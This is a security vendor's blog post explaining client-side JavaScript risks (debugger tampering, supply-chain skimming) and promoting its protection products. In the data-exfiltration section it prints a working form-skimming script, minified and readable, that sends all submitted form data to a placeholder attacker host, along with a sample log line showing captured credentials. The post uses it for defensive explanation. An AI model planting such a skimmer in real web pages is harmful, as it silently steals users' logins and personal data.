Web Security

The Most Effective Way to Protect Client-Side JavaScript Applications

April 29th, 2021 | By Jscrambler | 8 min read

Improve your client-side security with our best practices to protect client-side JavaScript applications.

JavaScript is a programming language with many useful features. It is built around flexibility, giving you all the capability necessary to do what you want with it. JavaScript’s dynamic nature allowed it to become the de facto language for the browser and the most popular programming language in the world.

One of the most useful JS features is immediate parsing. This means that the browser executes the code as it downloads content, naturally providing benefits. However, with this level of freedom comes responsibility.

Dive into JavaScript security risks and how to protect JavaScript code with our best practices and tips. We will cover only front-end code that runs in the browser. If you are interested, explore our tutorial about protecting Node.js apps.

How Does the Browser Execute JavaScript?


Imagine all the steps required for a browser. First, it has to download the page and begin parsing. The browser doesn't wait around for everything to download. It can download and parse the page at the same time.

What happens when it encounters JavaScript?

JavaScript is render-blocking, which has a tremendous advantage when it executes. This means that the browser will halt parsing, execute JavaScript first, then continue, providing flexibility in wielding this programming language and opening up the code to any number of possibilities.

What are the implications of such features when trying to build secure JavaScript apps?

The Risks of JavaScript


1. Debugging and Tampering

Application security guides such as those from OWASP highlight the threats posed by reverse engineering and tampering with application source code, especially in applications that handle sensitive data or perform critical operations.

This is the case with JavaScript-powered applications, where these risks can be leveraged in the form of various attacks such as intellectual property theft, automated abuse, piracy, and data exfiltration.

Explore more Enterprise JavaScript opportunities, threats, and solutions in our blog.

Regulations and standards such as NIST and ISO 27001 also mention these risks of having unprotected source code, recommending that organizations put in place strict control procedures to keep them from experiencing the consequences of possible attacks.

To illustrate these risks, imagine the following code snippet:

<div id="hack-target"></div>
<button>Set Value</button>

<script>
    document.querySelector('button').addEventListener('click', setValue);

    function setValue() {
        var value = '2';
        document.getElementById('hack-target').innerText = value;
    }
</script>


This declares a target in HTML and wires up events. When you click the button, the callback fires.

With client-side JavaScript, you can set a breakpoint right where it sets the value. This breakpoint gets hit right as the event fires.

The value that gets set through var value = '2'; can change at will. The debugger halts execution and allows a person to tamper with the page. This capability is helpful when it comes to debugging, and the browser does not raise any flags while this is happening.

Since the debugger halts the execution, it has the power to halt page rendering too.

Debugging is part of the tooling inside the browser, so anyone gets access to this.

To see this technique in action, check out this code on Code Pen available. Below is a screenshot of the debugging:
Hacking-the-DOM-Protect-Client-Side-JavaScript-Applications

We know this feature is great for debugging JavaScript, but how can it impact secure JavaScript code?

Just like anyone can use the debugging tool for legitimate purposes, an attacker can use this feature to change JavaScript at runtime. The attacker can hit a breakpoint, change the DOM, and enter arbitrary JavaScript in the console.

This kind of attack can be used to exploit security flaws on the client side. The attacker can change the data, hijack the session, and make arbitrary JavaScript changes on the page, compromising the security of the original code.

As OWASP puts it:

An attacker can either directly modify the code, change the contents of memory dynamically, change or replace the system APIs that the application uses, or modify the application’s data and resources. This can provide the attacker with a direct method of subverting the intended use of the software for personal or monetary gain.

For example, with the Web Developer Tools opened, anyone can go to the Console tab and enter:

document.querySelector('button').addEventListener('click', function() {
    alert('sacked');
});


The next time this event fires, it will trigger this JavaScript change.

Can you feel the bitter taste of danger?

2. Data Exfiltration and Other Client-Side Attacks

Going beyond the security risks of attackers targeting the JavaScript source code itself, we must consider the dangers of arbitrary JavaScript execution in the browser.

We have been seeing a growing surge of web supply chain attacks, such as Magecart attacks, flooding the web and leveraging the client side to exfiltrate data. To put this into perspective, take a look at the example below.

Let's say that somehow your CDN gets compromised and the jQuery script you're including on your website is modified. Add the snippet below:

!function(){document.querySelectorAll("form").forEach(function(a){a.addEventListener("submit",function(a){var b;if(!a.target)return null;b=new FormData(a.target);var d="";for(var e of b.entries())d=d+"&"+e[0]+"="+e[1];return(new Image).src="https://attackers.site.com/?"+d.substring(1),!0})})}();


Likely, you won’t notice this change, and your website will be distributing malware.

Now, let's try a more readable version of the same snippet:

! function() {
    document.querySelectorAll("form").forEach(function(a) {
        a.addEventListener("submit", function(a) {
            var b;
            if (!a.target) return null;
            b = new FormData(a.target);
            var d = "";
            for (var e of b.entries()) d = d + "&" + e[0] + "=" + e[1];
            return (new Image).src = "https://attackers.site.com/?" + d.substring(1), !0
        })
    })
}();


We can understand its logic as follows:

  1. For every form on the page.

  2. a submit event handler is added, so that when triggered.

  3. form data is collected and rewritten using Query String format.

  4. which is then appended to the new Image resource source URL.


Every time a form is submitted, the same data is sent to a remote server (attackers.site.com), requesting what is supposed to be an image resource.

Then, the owners of attackers.site.com will receive the data on their access log:

79.251.209.237 - - [13/Mar/2017:15:26:14 +0100] "GET /[email protected]&pass=k284D5B178Ho7QA HTTP/1.1" 200 4 "https://www.your-website.com/signin" "Mozilla/5.0 (Macintosh; In      tel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"


And as a result, your website will be silently leaking user data right into the hands of attackers, even without any breach of your server. This is the reason why web supply chain attacks are such a significant threat today, as regulations like GDPR, CCPA, and HIPAA impose huge penalties following user data leakage.

How to Protect JavaScript on the Client Side

1. JavaScript Code Protection

With the flexible and dynamic nature of the web, to protect JavaScript code from potential attackers, the best option is to add runtime protection.

This security layer will protect JavaScript code during execution to avoid tampering, providing the most effective level of protection for client-side applications.

As explained by Gartner:

Runtime application Self-protection is a security technology that is built or linked into an application or application runtime environment and is capable of controlling application execution, detecting, and preventing real-time attacks.

Once JavaScript hits the browser, there is nothing to completely shield its execution. Runtime protection will guard against debugging and code tampering attacks that only happen at runtime. This will include attacks that modify the application while it is offline.

A good runtime protection solution will also obfuscate the JavaScript code so that an attacker can't tamper with the solution itself or go around it.

All these layers of protection are meant to guarantee that you have secure JavaScript code running on the web, despite attackers' efforts to tamper with it.

A robust runtime protection solution will also send notifications when an attacker attempts to thwart the code. This allows application owners to react and take action, for example, by terminating the user session.

Jscrambler Code Integrity

Jscrambler Code Integrity offers a runtime protection solution that protects applications against runtime attacks. It combines anti-debugging and anti-tampering techniques alongside other self-defensive capabilities to provide active protection for JavaScript applications. Specifically:

  • Anti-debugging detects the use of debugging tools (e.g., DevTools, Firebug) and breaks the debugger to stop the reverse engineering process.

    This is achieved with code traps and dead objects that make the debugging tools stop working and make the call stack grow, keeping the user from inspecting the app’s control flow.

  • Control-flow flattening, as the name implies, flattens the program flow and adds opaque predicates and irrelevant code clones.

    Every natural conditional construct that makes the code easier to read is gone.

  • Anti-tampering detects code changes and reacts accordingly. For instance, if you add or remove a single semicolon from a function protected with Jscrambler’s Self-defending feature, it will detect that change and make the code stop working.

    Both techniques, together with code obfuscation, make it impossible for an attacker to tamper with the application.

You can start protecting the client-side of your application with our free trial.

2. Client-Side Protection

The JavaScript development process often relies on the use of open-source components that speed up development. Most websites end up running several third-party scripts (chatbots, analytics, ads, etc.) at runtime.

Using these externally sourced pieces of code increases the attack surface for client-side attacks.

Since traditional security systems (server-side security, network security) don’t address the client-side, to tackle these growing threats, companies need complete visibility and control over their website’s client-side.

Jscrambler Webpage Integrity

Jscrambler Webpage Integrity provides full-featured client-side protection against client-side attacks like Magecart web skimmers and data exfiltration. Specifically:

  • Full real-time observability of the behavior of every single third-party script.

    This means knowing if it loads or injects more code, if it is sending data out, if it’s accessing form data, cookies, and local storage, if it’s mutating the DOM, etc.

  • A comprehensive inventory of all these website scripts and the network requests that they are making.

  • A powerful rules engine that grants flexible and granular control over the behavior of each script, allowing automatic blocking of misbehaviors such as tampering with other code in the web page, accessing the “password” field of a login form, accessing cookies or local storage, contacting certain domains, etc.


To get started with Jscrambler Webpage Integrity, request a Free Inventory Report for your website. This report provides a snapshot of every third-party script running on your website and their behavior, broken down into actionable security insights.

Conclusion


Since JavaScript powers most of the web (including websites that handle extremely sensitive user data), and since it is naturally a dynamic language for the web that got built for flexibility, it poses additional concerns in terms of security.

Like any double-edged sword, you must wield this with responsibility. To protect JavaScript code, you must take into account what happens at runtime, both because attackers can target your exposed source code and because they can inject malicious JavaScript code through your third-party scripts.

Tackling both of these dimensions successfully puts you ahead of attackers and on the right path to compliance.

Jscrambler

The leader in client-side Web security. With Jscrambler, JavaScript applications become self-defensive and capable of detecting and blocking client-side attacks like Magecart.

View All Articles

Must read next

Application Security

Why Script Vetting Isn't Enough to Prevent Client-Side Attacks

In this article, we will explain how companies can control their third parties, and also how well script vetting works against web supply chain attacks.

May 27, 2021 | By Jscrambler | 4 min read

Javascript

5 Awesome Free Books for JavaScript Developers

We will show you some useful and interesting ebooks to learn JavaScript and Node.js. They are open-source and free for reading, check them out!

December 15, 2016 | By Jscrambler | 5 min read

Section Divider

Subscribe to Our Newsletter